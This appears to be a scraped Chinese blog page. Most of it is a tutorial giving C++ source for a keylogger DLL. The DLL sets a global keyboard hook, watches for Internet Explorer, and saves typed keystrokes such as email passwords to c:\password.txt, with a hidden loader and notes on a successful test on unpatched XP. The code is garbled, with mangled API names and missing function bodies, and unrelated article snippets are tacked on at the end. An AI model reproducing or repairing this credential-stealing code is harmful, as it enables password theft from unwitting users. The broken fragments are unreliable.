先生成dll
ktr.h**:
#ifndef ktr_h
#define ktr_h
#include extern "c" void __declspec(dllexport) setkbhook();
extern "c" void __declspec(dllexport) removekbhook();
#endif
ktr.cpp:
#include "ktr.h"
#include #include #define charnum 5
#define txtlength 10
//定義生成的密碼儲存位置
#define placeoffile "c:\\password.txt"
static bool bhooked = false;
static bool ie_is_active = false;
static hhook hhook = 0, hhookmsg = 0;
static hinstance hinst;
static int count;
static char tomb[charnum];
static file *stream;
static int shift = 32;
short flag;
enum num ;
static int condition[charnum][capital + 1];
static tchar text[txtlength];
void initcondition(void);
lresult callback keyboardproc(int code, wparam wparam, lparam lparam);
lresult callback cbtproc(int code, wparam wparam, lparam lparam);
//dll 動態鏈結庫入口
bool winapi dllmain(hinstance hinstdll, dword fdwreason, lpvoid lpvreserved)
return true;
}//安裝全域性鉤子,
void __declspec(dllexport) setkbhook()
}//實現鉤子解除安裝函式
void __declspec(dllexport) removekbhook()
//定義鉤子函式
lresult callback keyboardproc(int code, wparam wparam, lparam lparam)
if (wparam != vk_tab && wparam != vk_escape && wparam != vk_left && wparam != vk_right && wparam != vk_up && wparam != vk_down && wparam != vk_end && wparam != vk_home && wparam != vk_prior && wparam != vk_next && wparam != vk_insert && wparam != vk_numlock && wparam != vk_scroll && wparam != vk_pause && wparam != vk_lwin && wparam != vk_rwin && wparam != vk_f1 && wparam != vk_f2 && wparam != vk_f3 && wparam != vk_f4 && wparam != vk_f5 && wparam != vk_f6 && wparam != vk_f7 && wparam != vk_f8 && wparam != vk_f9 && wparam != vk_f10 && wparam != vk_f11 && wparam != vk_f12)
tomb[count] = wparam;
count++;
} else //wm_keyup?
if (wparam == vk_shift || wparam == vk_control || wparam == vk_menu || wparam == vk_capital)
if (count == charnum)
}fclose(stream);
count = 0;
initcondition();
}} }
return callnexthookex(hhook, code, wparam, lparam);
}void initcondition()
//判斷ie是否被啟用
lresult callback cbtproc(int code, wparam wparam, lparam lparam)
return callnexthookex(hhookmsg, code, wparam, lparam);
}
呼叫dll的cpp:
#include "..\ktr\ktr.h"
//win 函式入口
int winapi winmain(hinstance hinstance, hinstance hprevinstance,
lpstr lpszcmdline, int ncmdshow)
else
}else
if (error)
while (getmessage(&msg,0,0,0))
return msg.wparam;
}
準備一台沒有打任何補丁的虛擬機器xp,把生成的dll和exe放在同乙個目錄,然後執行exe,沒有介面的,但是能在任務管理器中看到。
開啟ie,輸入然後輸入自己的郵箱和密碼,然後看看c盤,就看到生成了password.txt。
在ie6、7、8上都測試過,成功。
但是,對於打了最新補丁的xp,就不能了。
黑客新型攻擊技術,使用智慧型燈泡竊取資料
中國網路安全組織東方聯盟研究人員已經確定,一些燈泡適合從個人裝置中洩露出來的隱蔽資料,並且可以通過從遠處記錄它們的亮度模式來洩漏多 偏好。為了使光源成為攻擊面,它們需要滿足一些要求,例如支援多 視覺化和紅外功能。攻擊者不需要攻擊受害者的內部網路來提取資訊。它們只需要在目標裝置和燈之間直接連線,並在滲...
HOOK利用c 函式鉤子,製作經典反黑客技術!
如題,算不得什麼高深的技術了。剛好在弄乙個玩意,拿起久違的鉤子 在用,順便發個帖子,或許有些剛接觸鉤子的朋友用的著。限32位程式,因為64位的跳轉就不是這麼玩了。鉤子是啥意思,以及鉤子能幹嘛就不多說了吧。選好下鉤點,做好保護現場就好,就能幹活啦!直接上 了。中略做解釋 分4塊 1.下鉤函式 2.恢復...
C 與資料庫技術
ado.net 物件模型中有 5個主要的資料庫訪問和操作物件,分別是 connection command datareader dataadapter 和dataset 物件。其中,connection 物件主要負責連線資料庫,command 物件主要負責生成並執行 sql語句,datareade...